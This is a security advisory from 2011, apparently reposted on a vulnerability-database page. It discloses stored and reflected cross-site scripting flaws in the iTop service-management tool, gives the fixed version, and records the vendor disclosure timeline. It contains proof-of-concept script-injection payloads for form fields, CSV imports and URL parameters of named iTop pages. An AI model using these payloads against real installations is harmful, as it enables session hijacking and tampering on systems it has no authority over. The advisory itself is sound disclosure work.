Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:27354
HistoryNov 27, 2011 - 12:00 a.m.

TC-SA-2011-02: Multiple web-vulnerabilities in iTop version 1.1.181

2011-11-2700:00:00
vulners.com
65

TC-SA-2011-02: Multiple web-vulnerabilities in iTop version 1.1.181

Published: 2011/11/16
Version 1.0

Affected products:
iTop version 1.1.181, 1.2.0-RC-282 (maybe earlier versions as well)
http://sourceforge.net/projects/itop/

References:
CVE-2011-4275 - Multiple web-vulnerabilities in iTop
TC-SA-2011-02 www.tele-consulting.com/advisories/TC-SA-2011-02.txt
(used for updates)

Summary:
"IT Operations Portal: a complete open source, ITIL, web based
service management tool including a fully customizable CMDB,
a helpdesk system and a document management tool."
Several common flaws could be found in iTop like reflected
and stored XSS.

Vulnerable Scripts:
stored XSS:
- almost every tested input field stored in database and in the
html-content of the site.
Especially in case data is reformatted using Javascript, the
sanitisation in place
seems to be overridden.

reflected XSS:
 - almost every test input field where the value is reflected in

servers output

Examples:
stored XSS:
- add a company named "XSS <script>alert("Help Me")</script>"
- add a database server named "XSS <script>alert("Help
Me")</script>"
- import a CSV-File where one cell contains "XSS <script>alert("Help
Me")</script>"
- copy&paste data (which does the same as CSV-import) using
1;Test 1
2;Test 2
3;Test 3<script>alert("23746234243 Test")</script>"

reflected XSS &#40;un-authenticated&#41;:

http://$domain/iTop/pages/UI.php?auth_user=admin&quot;&gt;&lt;script&gt;alert&#40;&quot;Help
Me")</script><lala="&suggest_pwd=admin

reflected XSS &#40;authenticated&#41;:

http://$domain/iTop/pages/UI.php?auth_user=admin&quot;&gt;&lt;script&gt;alert&#40;&quot;Help
Me")</script><lala="&suggest_pwd=admin

http://$domain/iTop/pages/UniversalSearch.php?c[menu]=&quot;&lt;script&gt;alert&#40;&quot;Help
Me")</script>"

http://$domain/iTop/pages/UI.php?c&#37;5bmenu&#37;5d=60&amp;class=Note&amp;currentId=Searc
hFormToAdd_document_list \
&description="<script>alert("Help
Me")</script>"&dosearch=1&name=Acunetix&open=1&operation=search \
_form&org_id=3&status=draft&type=contract

http://domain/iTop/pages/audit.php?category=&#37;22&#37;3Cscript&#37;3Ealert&#37;281&#37;29&#37;3C
/script%3E%22&operation=errors&rule=1

http://$domain/iTop/pages/UI.php?auth_user=&#37;22&#37;20onmouseover&#37;3dprompt&#37;2894
9560%29%20bad%3d%22&suggest_pwd=test

http://$domain/iTop/pages/UI.php?auth_user=admin&amp;suggest_pwd=&#37;22&#37;20onmouse
over%3dprompt%28972137%29%20bad%3d%22

Possible solutions:
- use version 1.2 final

Disclosure Timeline:
2011/08/09 vendor contacted via [email protected]
2011/08/09 inital vendor response
2011/09/06 first patch by the vendor
2011/09/12 second patch by the vendor
2011/11/16 public disclosure

Credits:
Tobias Glemser ([email protected])
Tele-Consulting security networking training GmbH, Germany
www.tele-consulting.com

Disclaimer:
All information is provided without warranty. The intent is to
provide information to secure infrastructure and/or systems, not
to be able to attack or damage. Therefore Tele-Consulting shall
not be liable for any direct or indirect damages that might be
caused by using this information.

Related for SECURITYVULNS:DOC:27354